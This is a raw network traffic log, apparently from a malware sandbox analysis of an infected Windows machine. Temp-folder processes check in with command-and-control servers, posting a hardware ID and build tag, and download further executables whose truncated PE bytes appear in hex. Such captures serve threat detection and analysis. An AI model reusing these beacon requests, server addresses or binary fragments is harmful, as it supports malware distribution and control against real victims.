Oct 30, 2024 11:46:56.577543974 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 43 38 44 46 42 44 37 45 43 45 32 39 31 34 36 34 38 33 37 34 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="hwid"C2C8DFBD7ECE2914648374------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="build"tale------CAAEBKEGHJKEBFHJDBFC--
Oct 30, 2024 11:46:56.856854916 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:46:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	58204	185.215.113.16	80	6228	C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:47:00.457351923 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 11:47:01.308691025 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 10:47:01 GMT Content-Type: application/octet-stream Content-Length: 2895872 Last-Modified: Wed, 30 Oct 2024 10:42:46 GMT Connection: keep-alive ETag: "67220da6-2c3000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 fa d5 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$, `@ ,,`Ui` @ @.rsrc`2@.idata 8@fbnfxrsu++:@rjcetyim ,,@.taggant@,",@
Oct 30, 2024 11:47:01.308712959 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:47:01.308728933 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:47:01.308804989 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:47:01.308824062 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:47:01.308840036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:47:01.308855057 CET	648	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:47:01.308871031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:47:01.308888912 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:47:01.308903933 CET	1236	IN	Data Raw: 5b 50 20 8f 3f 25 fc 12 74 1d 67 aa e9 db 1c 89 36 54 71 7a 1a 74 52 4d d0 eb 35 83 05 e4 8c be 1b f6 24 12 09 64 6c da f6 d8 58 0c c3 0e 56 26 e1 de 20 b2 51 aa dd ec cc 78 57 00 52 e7 52 82 4d 36 53 2f 83 5c bc d4 b8 d6 76 ba 7b 1c 75 74 75 dd Data Ascii: [P ?%tg6TqztRM5$dlXV& QxWRRM6S/\v{utu#M4'[StZHtVSXnrVCOpPZYP#eP\p9FeO\|PZsU /@\G.YBv {$p=g,yr$OA9IvKM\d^+
Oct 30, 2024 11:47:01.314330101 CET	1236	IN	Data Raw: 3a fe 1f 6b c9 23 4b 47 31 e7 67 35 c5 0e 87 b3 ff 0e 4e bf c7 8d 13 a4 78 ef 42 b4 9b 2b 75 86 8d 00 5e 7d 72 22 ca 63 3c 6b 14 3e 8f 80 d4 91 4f f5 1d 2d 4a 13 5f 71 d6 ed 65 67 43 02 67 fd 36 b8 67 4d 12 2b 4c 2c 38 be 65 41 29 79 81 a6 54 4b Data Ascii: :k#KG1g5NxB+u^}r"c<k>O-J_qegCg6gM+L,8eA)yTKql/]7Fm0EG6.MWDt( B+!h+/O:j)jl,6<{q32&"^R+t6H%_,8BG".cm('Ph9R:@W> 7FX,M)h<tg:yBrKZlDPDQ@*H0H(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	58205	185.215.113.43	80	1876	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:47:00.475955009 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 35 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002598001&unit=246122658369
Oct 30, 2024 11:47:01.375617027 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 10:47:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	58207	185.215.113.16	80	1876	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:47:01.419553041 CET	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 11:47:02.328397989 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 10:47:02 GMT Content-Type: application/octet-stream Content-Length: 888832 Last-Modified: Sun, 27 Oct 2024 06:45:44 GMT Connection: keep-alive ETag: "671de198-d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,l@.@XP.$.text .rdata@@.data+@.reloc>K.LD@B
Oct 30, 2024 11:47:02.328476906 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba c2 41 00 b1 d1 41 00 1a d2 41 00 00 00 00 Data Ascii: AAAUQEE
Oct 30, 2024 11:47:02.328555107 CET	1236	IN	Data Raw: fc 83 7d 0c 00 74 1a 8b 4d fc c6 01 00 8b 55 fc 83 c2 01 89 55 fc 8b 45 0c 83 e8 01 89 45 0c eb e0 8b 45 08 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 10 83 e8 01 89 45 10 78 11 8b 4d 08 ff 55 14 8b 4d 08 03 4d 0c 89 Data Ascii: }tMUUEEE]UEExMUMMM]UQSjh0hAj0rmEPtX}t,hEP>zS[hhAMQpqm[]UQEjj@h0hj
Oct 30, 2024 11:47:02.328660965 CET	1236	IN	Data Raw: 6a 00 8d 95 10 fc ff ff 52 ff 15 00 e1 41 00 83 c4 0c 8d 8d f8 fb ff ff e8 e6 95 01 00 8d 8d 04 fc ff ff e8 db 95 01 00 8d 4d 08 e8 13 00 00 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 89 4d fc 8b 4d fc 83 c1 7c e8 ae Data Ascii: jRAM]UQMM\|MHM<M0M]UQMEPMM0QM0U<RM<EHPMHMUBTATMUBXAXMUB\A\M
Oct 30, 2024 11:47:02.328674078 CET	1236	IN	Data Raw: ff ff e8 68 90 01 00 83 7d 30 00 0f 84 e6 00 00 00 8d 45 24 50 8d 8d 6c fd ff ff 51 68 2c 56 42 00 8d 95 78 fd ff ff 52 8d 85 cc fe ff ff 50 8d 8d 84 fd ff ff 51 68 84 55 42 00 8d 95 90 fd ff ff 52 8d 45 08 50 8d 8d 9c fd ff ff 51 68 dc 54 42 00 Data Ascii: h}0E$PlQh,VBxRPQhUBREPQhTBREPQi[TMP*lxti^SH=
Oct 30, 2024 11:47:02.328687906 CET	1236	IN	Data Raw: f6 ff ff 8b e5 5d c3 cc cc cc cc 55 8b ec 83 ec 18 c7 45 fc 00 00 00 00 eb 09 8b 45 fc 83 c0 01 89 45 fc 8b 4d fc 3b 8d a0 00 00 00 0f 83 90 00 00 00 81 ec 88 00 00 00 8b cc 8d 55 08 52 e8 98 f6 ff ff 8b 45 fc 6b c0 2c 8b 8d 90 00 00 00 8b 54 01 Data Ascii: ]UEEEM;UREk,T(REk,TREk,PuMk,DPMk,DPIXURM]UE
Oct 30, 2024 11:47:02.328700066 CET	448	IN	Data Raw: 42 00 68 70 1d 42 00 e8 7b 22 00 00 83 c4 0c a3 64 6c 6d 00 6a 0b 68 80 1d 42 00 68 8c 1d 42 00 e8 62 22 00 00 83 c4 0c a3 50 6c 6d 00 6a 05 68 98 1d 42 00 68 a0 1d 42 00 e8 49 22 00 00 83 c4 0c a3 f8 6c 6d 00 6a 14 68 a8 1d 42 00 68 c0 1d 42 00 Data Ascii: BhpB{"dlmjhBhBb"PlmjhBhBI"lmjhBhB0"nmjhBhB"<mmjhBhB!omjhBh(B!Homjh8BhHB!mmjhXBhdB!lmjhpBhB!p
Oct 30, 2024 11:47:02.328715086 CET	1236	IN	Data Raw: a8 1f 42 00 68 b8 1f 42 00 e8 b9 20 00 00 83 c4 0c a3 50 6f 6d 00 6a 09 68 c8 1f 42 00 68 d4 1f 42 00 e8 a0 20 00 00 83 c4 0c a3 7c 6b 6d 00 6a 0a 68 e0 1f 42 00 68 ec 1f 42 00 e8 87 20 00 00 83 c4 0c a3 04 6b 6d 00 6a 0b 68 f8 1f 42 00 68 04 20 Data Ascii: BhB PomjhBhB \|kmjhBhB kmjhBh Bn kmjh Bh BU (mmjh( Bh8 B< nmjhH BhT B# $nmjh` Bhp B kmjh Bh Bmmjh Bh B
Oct 30, 2024 11:47:02.328726053 CET	212	IN	Data Raw: 42 00 e8 ec 1b 00 00 83 c4 0c a3 f8 6e 6d 00 6a 0b 68 b8 24 42 00 68 c4 24 42 00 e8 d3 1b 00 00 83 c4 0c a3 b8 6a 6d 00 6a 0d 68 d0 24 42 00 68 e0 24 42 00 e8 ba 1b 00 00 83 c4 0c a3 dc 6e 6d 00 6a 09 68 f0 24 42 00 68 fc 24 42 00 e8 a1 1b 00 00 Data Ascii: Bnmjh$Bh$Bjmjh$Bh$Bnmjh$Bh$B<kmjh%Bh%BLlmjh %Bh8%BoomjhP%Bh\%BVkmjhh%Bhx%B=nmjh%Bh%B$(
Oct 30, 2024 11:47:02.328738928 CET	1236	IN	Data Raw: 70 6d 00 6a 0e 68 a0 25 42 00 68 b0 25 42 00 e8 0b 1b 00 00 83 c4 0c a3 4c 6e 6d 00 6a 09 68 c0 25 42 00 68 cc 25 42 00 e8 f2 1a 00 00 83 c4 0c a3 e0 6e 6d 00 6a 0b 68 d8 25 42 00 68 e4 25 42 00 e8 d9 1a 00 00 83 c4 0c a3 4c 6f 6d 00 6a 0e 68 f0 Data Ascii: pmjh%Bh%BLnmjh%Bh%Bnmjh%Bh%BLomjh%Bh&Bhnmjh&Bh&B\mmjh(&Bh8&Bmmj hH&Bhl&Bujmjh&Bh&B\ nmjh&Bh&BChmmjh&Bh&B*
Oct 30, 2024 11:47:02.333846092 CET	1236	IN	Data Raw: 8c 2c 42 00 e8 42 16 00 00 83 c4 0c a3 10 6f 6d 00 6a 05 68 a0 2c 42 00 68 a8 2c 42 00 e8 29 16 00 00 83 c4 0c a3 30 6f 6d 00 6a 0b 68 b0 2c 42 00 68 bc 2c 42 00 e8 10 16 00 00 83 c4 0c a3 48 6d 6d 00 6a 09 68 c8 2c 42 00 68 d4 2c 42 00 e8 f7 15 Data Ascii: ,BBomjh,Bh,B)0omjh,Bh,BHmmjh,Bh,Blmjh,Bh,B`nmjh-Bh -Bomjh8-BhD-B,omjhP-Bh\-Bnmjhh-Bh\|-Bzxnmjh-Bh-Balmj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	58216	185.215.113.206	80	812	C:\Users\user\AppData\Local\Temp\1002599001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:47:04.244437933 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 11:47:05.186208963 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:47:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 11:47:05.189529896 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCBAFIJDGHCAKECAEGC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 43 38 44 46 42 44 37 45 43 45 32 39 31 34 36 34 38 33 37 34 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 2d 2d 0d 0a Data Ascii: ------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="hwid"C2C8DFBD7ECE2914648374------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="build"tale------DGCBAFIJDGHCAKECAEGC--
Oct 30, 2024 11:47:05.483189106 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:47:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	58218	185.215.113.43	80	1876	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:47:05.946254015 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 35 39 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002599001&unit=246122658369
Oct 30, 2024 11:47:06.853297949 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 10:47:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	58221	31.41.244.11	80	1876	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:47:06.907684088 CET	52	OUT	GET /files/test.exe HTTP/1.1 Host: 31.41.244.11
Oct 30, 2024 11:47:07.800003052 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 10:47:07 GMT Content-Type: application/octet-stream Content-Length: 334848 Last-Modified: Wed, 30 Oct 2024 07:33:14 GMT Connection: keep-alive ETag: "6721e13a-51c00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 04 00 a7 cd 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 d4 00 00 00 00 00 00 b0 d0 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 52 80 04 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 05 00 80 4b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c 81 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELgD@@RK.textBD `.rdata'%`&H@@.databn@.relocKL@B
Oct 30, 2024 11:47:07.800025940 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 53 57 56 83 e4 f8 81 ec 60 02 00 00 8b 45 18 89 44 24 20 8b 5d 14 8b 7d Data Ascii: USWV`ED$ ]}D$DGCt$t"%%%%t><%t$(}t)\|L$DQuVUu(L$).
Oct 30, 2024 11:47:07.800041914 CET	424	IN	Data Raw: 00 b9 01 00 00 00 e9 5e 02 00 00 be 13 60 44 00 80 fa 47 74 05 be 00 60 44 00 8b 44 24 20 dd 00 8b 0c 24 83 f9 01 89 c8 83 d0 00 bb 06 00 00 00 83 f9 ff 74 02 89 c3 8d 43 ff 0d 00 00 00 80 83 ec 1c dd 5c 24 10 8d 4c 24 50 89 4c 24 0c 8d 4c 24 78 Data Ascii: ^`DGt`DD$ $tC\$L$PL$L$xL$L$8L$L$,$D$#tL$L$9rt$QL$L$T$\|0ZQNKu?D$9D$T$
Oct 30, 2024 11:47:07.800055027 CET	1236	IN	Data Raw: 8b 01 8b 49 04 80 fa 75 0f 84 97 09 00 00 85 c9 8b 34 24 89 ca 0f 89 6f 09 00 00 f7 d8 89 44 24 24 b9 00 00 00 00 19 d1 8b 54 24 04 81 ca 80 00 00 00 89 4c 24 08 89 5c 24 20 e9 79 09 00 00 89 da e9 20 05 00 00 89 d0 83 64 24 04 ef ba 08 00 00 00 Data Ascii: Iu4$oD$$T$L$\$ y d$D$(`DXtD$(`DD$@D$8D$tB<XfD$80XD$:+D$8D$tfD$80D$0D$(`D$$D$ uT$ T$ 1T$ rT$ D$4
Oct 30, 2024 11:47:07.800066948 CET	1236	IN	Data Raw: 83 fa 0d 72 05 b9 0d 00 00 00 89 d0 29 c8 89 44 24 14 7f 08 c7 44 24 14 00 00 00 00 89 c8 83 e0 03 0f 84 ca 00 00 00 89 4c 24 08 89 da 31 db 89 04 24 90 90 90 90 90 89 f0 c1 e8 18 83 e0 0f 8b 4c 24 0c 0f b6 04 01 0f a4 d6 04 88 84 1c 9e 00 00 00 Data Ascii: r)D$D$L$1$L$$C9u$L$)T$$$D$1$D$D$ D$L$4\|9)19~HD$t$D$t$T$
Oct 30, 2024 11:47:07.800137043 CET	424	IN	Data Raw: 08 89 5c 24 20 8b 54 24 04 8b 34 24 89 44 24 24 89 54 24 04 f7 c2 00 01 00 00 0f 85 73 01 00 00 be 00 02 00 00 31 d2 0f b6 05 01 90 44 00 88 44 24 14 90 89 54 24 28 8b 4c 24 24 81 f9 00 e1 f5 05 8b 54 24 08 89 d0 83 d8 00 72 27 6a 00 68 00 e1 f5 Data Ascii: \$ T$4$D$$T$s1DD$T$(L$$T$r'jhRQT$i)D$1D$TD$D$@L$$u?Qkd)(`DfD4ZdsT$(pT$(tfL$.L$
Oct 30, 2024 11:47:07.800148010 CET	1236	IN	Data Raw: f9 00 04 00 00 8b 4c 24 08 83 d9 00 72 02 89 c2 89 14 24 89 74 24 50 8b 44 24 08 89 44 24 54 df 6c 24 50 31 c0 8b 4c 24 04 f7 c1 00 08 00 00 0f 94 c0 dd 04 c5 50 65 44 00 81 f9 ff ff ff 03 77 22 d9 c0 d9 e0 d9 c9 dd e2 df e0 9e 0f 86 b3 00 00 00 Data Ascii: L$r$t$PD$D$Tl$P1L$PeDw" \|4\0D$,D$8-\|$x D$u+D$tD$8T$9 4\T$u@0HD$D$1<$$
Oct 30, 2024 11:47:07.800160885 CET	1236	IN	Data Raw: c3 05 8b 44 24 0c 8b 54 24 24 01 d0 83 c0 fd 89 1c 24 83 f8 04 0f 82 13 03 00 00 8d 50 fc 89 d3 c1 eb 02 43 83 e3 07 8b 74 24 14 74 29 89 54 24 0c c1 e3 02 31 d2 8b 34 24 c7 04 16 30 30 30 30 83 c2 04 39 d3 75 f2 01 d6 89 34 24 29 d0 8b 74 24 14 Data Ascii: D$T$$$PCt$t)T$14$00009u4$)t$T$$0000B0000B0000B0000B0000B0000B0000B0000 wBD$,0D$/D$ L$+$D$4$)L$1D$F
Oct 30, 2024 11:47:07.800170898 CET	1236	IN	Data Raw: c9 0f 8e a5 01 00 00 89 f0 29 f8 05 00 02 00 00 89 ca 39 c1 7c 02 89 c2 83 7d 08 00 75 02 89 ca 85 d2 89 54 24 18 89 4c 24 40 74 67 89 f8 83 e0 03 74 60 8d 47 01 c6 07 20 89 d1 49 74 59 89 c2 83 e2 03 8b 54 24 18 74 4e 8d 47 02 c6 47 01 20 89 d1 Data Ascii: )9\|}uT$L$@tgt`G ItYT$tNGG t@T$t5GG t'T$tG J\|~QGt10 9u)rL @ @ @ @
